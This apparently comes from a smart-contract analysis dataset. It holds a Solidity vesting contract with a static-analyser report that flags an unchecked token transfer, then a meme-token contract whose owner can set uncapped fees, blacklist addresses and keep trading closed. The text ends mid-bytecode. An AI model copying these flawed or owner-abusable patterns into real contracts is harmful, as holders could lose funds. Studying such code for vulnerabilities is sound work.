recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error * * @dev Default OpenZeppelin */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Vesting { using SafeMath for uint256; IERC20 public token; uint256 public totalTokens; uint256 public releaseStart; uint256 public releaseEnd; mapping (address => uint256) public starts; mapping (address => uint256) public grantedToken; // this means, released but unclaimed amounts mapping (address => uint256) public released; event Claimed(address indexed _user, uint256 _amount, uint256 _timestamp); event Transfer(address indexed _from, address indexed _to, uint256 _amount, uint256 _timestamp); // do not input same recipient in the _recipients, it will lead to locked token in this contract function initialize( address _token, uint256 _totalTokens, uint256 _start, uint256 _period, address[] calldata _recipients, uint256[] calldata _grantedToken ) public { require(releaseEnd == 0, "Contract is already initialized."); require(_recipients.length == _grantedToken.length, "Array lengths do not match."); releaseEnd = _start.add(_period); releaseStart = _start; token = IERC20(_token); token.transferFrom(msg.sender, address(this), _totalTokens); totalTokens = _totalTokens; uint256 sum = 0; for(uint256 i = 0; i<_recipients.length; i++) { starts[_recipients[i]] = releaseStart; grantedToken[_recipients[i]] = _grantedToken[i]; sum = sum.add(_grantedToken[i]); } // We're gonna just set the weight as full tokens. Ensures grantedToken were entered correctly as well. require(sum == totalTokens, "Weight does not match tokens being distributed."); } /** * @dev User may claim tokens that have vested. **/ function claim() public { address user = msg.sender; require(releaseStart <= block.timestamp, "Release has not started"); require(grantedToken[user] > 0, "This contract may only be called by users with a stake."); uint256 releasing = releasable(user); // updates the grantedToken grantedToken[user] = grantedToken[user].sub(releasing); // claim will claim both released and releasing uint256 claimAmount = released[user].add(releasing); // flush the released since released means "unclaimed" amount released[user] = 0; // and update the starts starts[user] = block.timestamp; token.transfer(user, claimAmount); emit Claimed(user, claimAmount, block.timestamp); } /** * @dev returns claimable token. buffered(released) token + token released from last update * @param _user user to check the claimable token **/ function claimableAmount(address _user) external view returns(uint256) { return released[_user].add(releasable(_user)); } /** * @dev returns the token that can be released from last user update * @param _user user to check the releasable token **/ function releasable(address _user) public view returns(uint256) { if (block.timestamp < releaseStart) return 0; uint256 applicableTimeStamp = block.timestamp >= releaseEnd ? releaseEnd : block.timestamp; return grantedToken[_user].mul(applicableTimeStamp.sub(starts[_user])).div(releaseEnd.sub(starts[_user])); } /** * @dev Transfers a sender's weight to another address starting from now. * @param _to The address to transfer weight to. * @param _amountInFullTokens The amount of tokens (in 0 decimal format). We will not have fractions of tokens. **/ function transfer(address _to, uint256 _amountInFullTokens) external { // first, update the released released[msg.sender] = released[msg.sender].add(releasable(msg.sender)); released[_to] = released[_to].add(releasable(_to)); // then update the grantedToken; grantedToken[msg.sender] = grantedToken[msg.sender].sub(releasable(msg.sender)); grantedToken[_to] = grantedToken[_to].sub(releasable(_to)); // then update the starts of user starts[msg.sender] = block.timestamp; starts[_to] = block.timestamp; // If trying to transfer too much, transfer full amount. uint256 amount = _amountInFullTokens.mul(1e18) > grantedToken[msg.sender] ? grantedToken[msg.sender] : _amountInFullTokens.mul(1e18); // then move _amount grantedToken[msg.sender] = grantedToken[msg.sender].sub(amount); grantedToken[_to] = grantedToken[_to].add(amount); emit Transfer(msg.sender, _to, amount, block.timestamp); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80639852595c116100715780639852595c14610139578063a3f8eace1461015f578063a9059cbb14610185578063b6c238b5146101b1578063fc0c546a146101d7578063fd536f5d146101fb576100b4565b80634e71d92d146100b9578063766e33f4146100c35780637e1c0c09146100dd5780638033fe49146100e557806386a1da9c146100ed5780638988504914610113575b600080fd5b6100c16102de565b005b6100cb6104d5565b60408051918252519081900360200190f35b6100cb6104db565b6100cb6104e1565b6100cb6004803603602081101561010357600080fd5b50356001600160a01b03166104e7565b6100cb6004803603602081101561012957600080fd5b50356001600160a01b03166104f9565b6100cb6004803603602081101561014f57600080fd5b50356001600160a01b031661052e565b6100cb6004803603602081101561017557600080fd5b50356001600160a01b0316610540565b6100c16004803603604081101561019b57600080fd5b506001600160a01b0381351690602001356105ea565b6100cb600480360360208110156101c757600080fd5b50356001600160a01b03166107cc565b6101df6107de565b604080516001600160a01b039092168252519081900360200190f35b6100c1600480360360c081101561021157600080fd5b6001600160a01b038235169160208101359160408201359160608101359181019060a08101608082013564010000000081111561024d57600080fd5b82018360208201111561025f57600080fd5b8035906020019184602083028401116401000000008311171561028157600080fd5b91939092909160208101903564010000000081111561029f57600080fd5b8201836020820111156102b157600080fd5b803590602001918460208302840111640100000000831117156102d357600080fd5b5090925090506107ed565b6002543390421015610337576040805162461bcd60e51b815260206004820152601760248201527f52656c6561736520686173206e6f742073746172746564000000000000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526005602052604090205461038b5760405162461bcd60e51b8152600401808060200182810382526037815260200180610b146037913960400191505060405180910390fd5b600061039682610540565b6001600160a01b0383166000908152600560205260409020549091506103bc9082610a6f565b6001600160a01b03831660009081526005602090815260408083209390935560069052908120546103ed9083610a89565b6001600160a01b03808516600081815260066020908152604080832083905560048083528184204290558354825163a9059cbb60e01b815291820195909552602481018790529051959650929093169363a9059cbb936044808501949193918390030190829087803b15801561046257600080fd5b505af1158015610476573d6000803e3d6000fd5b505050506040513d602081101561048c57600080fd5b50506040805182815242602082015281516001600160a01b038616927f987d620f307ff6b94d58743cb7a7509f24071586a77759b77c2d4e29f75a2f9a928290030190a2505050565b60025481565b60015481565b60035481565b60056020526000908152604090205481565b600061052661050783610540565b6001600160a01b03841660009081526006602052604090205490610a89565b90505b919050565b60066020526000908152604090205481565b600060025442101561055457506000610529565b6000600354421015610566574261056a565b6003545b6001600160a01b0384166000908152600460205260409020546003549192506105e39161059691610a6f565b6001600160a01b0385166000908152600460205260409020546105dd906105be908590610a6f565b6001600160a01b03871660009081526005602052604090205490610a9b565b90610ac2565b9392505050565b61060c6105f633610540565b3360009081526006602052604090205490610a89565b3360009081526006602052604090205561062861050783610540565b6001600160a01b03831660009081526006602052604090205561066361064d33610540565b3360009081526005602052604090205490610a6f565b3360009081526005602052604090205561069e61067f83610540565b6001600160a01b03841660009081526005602052604090205490610a6f565b6001600160a01b0383166000818152600560208181526040808420959095553380845260048252858420429081905594845285842094909455928252909152908120546106f383670de0b6b3a7640000610a9b565b1161070f5761070a82670de0b6b3a7640000610a9b565b610720565b336000908152600560205260409020545b3360009081526005602052604090205490915061073d9082610a6f565b33600090815260056020526040808220929092556001600160a01b038516815220546107699082610a89565b6001600160a01b03841660008181526005602090815260409182902093909355805184815242938101939093528051919233927f9ed053bb818ff08b8353cd46f78db1f0799f31c9e4458fdb425c10eccd2efc44929181900390910190a3505050565b60046020526000908152604090205481565b6000546001600160a01b031681565b60035415610842576040805162461bcd60e51b815260206004820181905260248201527f436f6e747261637420697320616c726561647920696e697469616c697a65642e604482015290519081900360640190fd5b828114610896576040805162461bcd60e51b815260206004820152601b60248201527f4172726179206c656e6774687320646f206e6f74206d617463682e0000000000604482015290519081900360640190fd5b6108a08686610a89565b6003556002869055600080546001600160a01b0319166001600160a01b038a811691909117808355604080516323b872dd60e01b8152336004820152306024820152604481018c9052905191909216926323b872dd92606480820193602093909283900390910190829087803b15801561091957600080fd5b505af115801561092d573d6000803e3d6000fd5b505050506040513d602081101561094357600080fd5b505060018790556000805b84811015610a23576002546004600088888581811061096957fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055508383828181106109a957fe5b90506020020135600560008888858181106109c057fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b0316815260200190815260200160002081905550610a19848483818110610a0357fe5b9050602002013583610a8990919063ffffffff16565b915060010161094e565b506001548114610a645760405162461bcd60e51b815260040180806020018281038252602f815260200180610ae5602f913960400191505060405180910390fd5b505050505050505050565b600082821115610a7e57600080fd5b508082035b92915050565b6000828201838110156105e357600080fd5b600082610aaa57506000610a83565b82820282848281610ab757fe5b04146105e357600080fd5b6000808211610ad057600080fd5b6000828481610adb57fe5b0494935050505056fe57656967687420646f6573206e6f74206d6174636820746f6b656e73206265696e672064697374726962757465642e5468697320636f6e7472616374206d6179206f6e6c792062652063616c6c656420627920757365727320776974682061207374616b652ea264697066735822122036d506f9acd0ba26231c6147a0e72d4676a0afcd9cc87e161a1deee0891f389f64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
7,696
0x841d8aec4be58ba4b5600caa927b4c2db788aa44
// SPDX-License-Identifier: MIT //Looking for information? It's not gonna give you rookies a clue. //Total: 1,000,000,000,000 //Slippage: 4% //Max: 1% pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Mysterious Organization"; string private constant _symbol = "MO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 4; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 4; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xd834cc45966b078D6A19288089769bfE799B4D06); address payable private _marketingAddress = payable(0xd834cc45966b078D6A19288089769bfE799B4D06); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000001 * 10**9; uint256 public _maxWalletSize = 10000000001 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610567578063dd62ed3e14610587578063ea1644d5146105cd578063f2fde38b146105ed57600080fd5b8063a2a957bb146104e2578063a9059cbb14610502578063bfd7928414610522578063c3c8cd801461055257600080fd5b80638f70ccf7116100d15780638f70ccf7146104615780638f9a55c01461048157806395d89b411461049757806398a5c315146104c257600080fd5b80637d1db4a5146104005780637f2feddc146104165780638da5cb5b1461044357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461039657806370a08231146103ab578063715018a6146103cb57806374010ece146103e057600080fd5b8063313ce5671461031a57806349bd5a5e146103365780636b999053146103565780636d8aa8f81461037657600080fd5b80631694505e116101ab5780631694505e1461028657806318160ddd146102be57806323b872dd146102e45780632fd689e31461030457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461025657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611973565b61060d565b005b34801561020a57600080fd5b5060408051808201909152601781527f4d7973746572696f7573204f7267616e697a6174696f6e00000000000000000060208201525b60405161024d9190611a38565b60405180910390f35b34801561026257600080fd5b50610276610271366004611a8d565b6106ac565b604051901515815260200161024d565b34801561029257600080fd5b506014546102a6906001600160a01b031681565b6040516001600160a01b03909116815260200161024d565b3480156102ca57600080fd5b50683635c9adc5dea000005b60405190815260200161024d565b3480156102f057600080fd5b506102766102ff366004611ab9565b6106c3565b34801561031057600080fd5b506102d660185481565b34801561032657600080fd5b506040516009815260200161024d565b34801561034257600080fd5b506015546102a6906001600160a01b031681565b34801561036257600080fd5b506101fc610371366004611afa565b61072c565b34801561038257600080fd5b506101fc610391366004611b27565b610777565b3480156103a257600080fd5b506101fc6107bf565b3480156103b757600080fd5b506102d66103c6366004611afa565b61080a565b3480156103d757600080fd5b506101fc61082c565b3480156103ec57600080fd5b506101fc6103fb366004611b42565b6108a0565b34801561040c57600080fd5b506102d660165481565b34801561042257600080fd5b506102d6610431366004611afa565b60116020526000908152604090205481565b34801561044f57600080fd5b506000546001600160a01b03166102a6565b34801561046d57600080fd5b506101fc61047c366004611b27565b6108cf565b34801561048d57600080fd5b506102d660175481565b3480156104a357600080fd5b506040805180820190915260028152614d4f60f01b6020820152610240565b3480156104ce57600080fd5b506101fc6104dd366004611b42565b610917565b3480156104ee57600080fd5b506101fc6104fd366004611b5b565b610946565b34801561050e57600080fd5b5061027661051d366004611a8d565b610984565b34801561052e57600080fd5b5061027661053d366004611afa565b60106020526000908152604090205460ff1681565b34801561055e57600080fd5b506101fc610991565b34801561057357600080fd5b506101fc610582366004611b8d565b6109e5565b34801561059357600080fd5b506102d66105a2366004611c11565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d957600080fd5b506101fc6105e8366004611b42565b610a86565b3480156105f957600080fd5b506101fc610608366004611afa565b610ab5565b6000546001600160a01b031633146106405760405162461bcd60e51b815260040161063790611c4a565b60405180910390fd5b60005b81518110156106a85760016010600084848151811061066457610664611c7f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a081611cab565b915050610643565b5050565b60006106b9338484610b9f565b5060015b92915050565b60006106d0848484610cc3565b610722843361071d85604051806060016040528060288152602001611dc5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ff565b610b9f565b5060019392505050565b6000546001600160a01b031633146107565760405162461bcd60e51b815260040161063790611c4a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107a15760405162461bcd60e51b815260040161063790611c4a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107f457506013546001600160a01b0316336001600160a01b0316145b6107fd57600080fd5b4761080781611239565b50565b6001600160a01b0381166000908152600260205260408120546106bd90611273565b6000546001600160a01b031633146108565760405162461bcd60e51b815260040161063790611c4a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ca5760405162461bcd60e51b815260040161063790611c4a565b601655565b6000546001600160a01b031633146108f95760405162461bcd60e51b815260040161063790611c4a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109415760405162461bcd60e51b815260040161063790611c4a565b601855565b6000546001600160a01b031633146109705760405162461bcd60e51b815260040161063790611c4a565b600893909355600a91909155600955600b55565b60006106b9338484610cc3565b6012546001600160a01b0316336001600160a01b031614806109c657506013546001600160a01b0316336001600160a01b0316145b6109cf57600080fd5b60006109da3061080a565b9050610807816112f7565b6000546001600160a01b03163314610a0f5760405162461bcd60e51b815260040161063790611c4a565b60005b82811015610a80578160056000868685818110610a3157610a31611c7f565b9050602002016020810190610a469190611afa565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7881611cab565b915050610a12565b50505050565b6000546001600160a01b03163314610ab05760405162461bcd60e51b815260040161063790611c4a565b601755565b6000546001600160a01b03163314610adf5760405162461bcd60e51b815260040161063790611c4a565b6001600160a01b038116610b445760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610637565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610637565b6001600160a01b038216610c625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610637565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610637565b6001600160a01b038216610d895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610637565b60008111610deb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610637565b6000546001600160a01b03848116911614801590610e1757506000546001600160a01b03838116911614155b156110f857601554600160a01b900460ff16610eb0576000546001600160a01b03848116911614610eb05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610637565b601654811115610f025760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610637565b6001600160a01b03831660009081526010602052604090205460ff16158015610f4457506001600160a01b03821660009081526010602052604090205460ff16155b610f9c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610637565b6015546001600160a01b038381169116146110215760175481610fbe8461080a565b610fc89190611cc6565b106110215760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610637565b600061102c3061080a565b6018546016549192508210159082106110455760165491505b80801561105c5750601554600160a81b900460ff16155b801561107657506015546001600160a01b03868116911614155b801561108b5750601554600160b01b900460ff165b80156110b057506001600160a01b03851660009081526005602052604090205460ff16155b80156110d557506001600160a01b03841660009081526005602052604090205460ff16155b156110f5576110e3826112f7565b4780156110f3576110f347611239565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113a57506001600160a01b03831660009081526005602052604090205460ff165b8061116c57506015546001600160a01b0385811691161480159061116c57506015546001600160a01b03848116911614155b15611179575060006111f3565b6015546001600160a01b0385811691161480156111a457506014546001600160a01b03848116911614155b156111b657600854600c55600954600d555b6015546001600160a01b0384811691161480156111e157506014546001600160a01b03858116911614155b156111f357600a54600c55600b54600d555b610a8084848484611480565b600081848411156112235760405162461bcd60e51b81526004016106379190611a38565b5060006112308486611cde565b95945050505050565b6013546040516001600160a01b039091169082156108f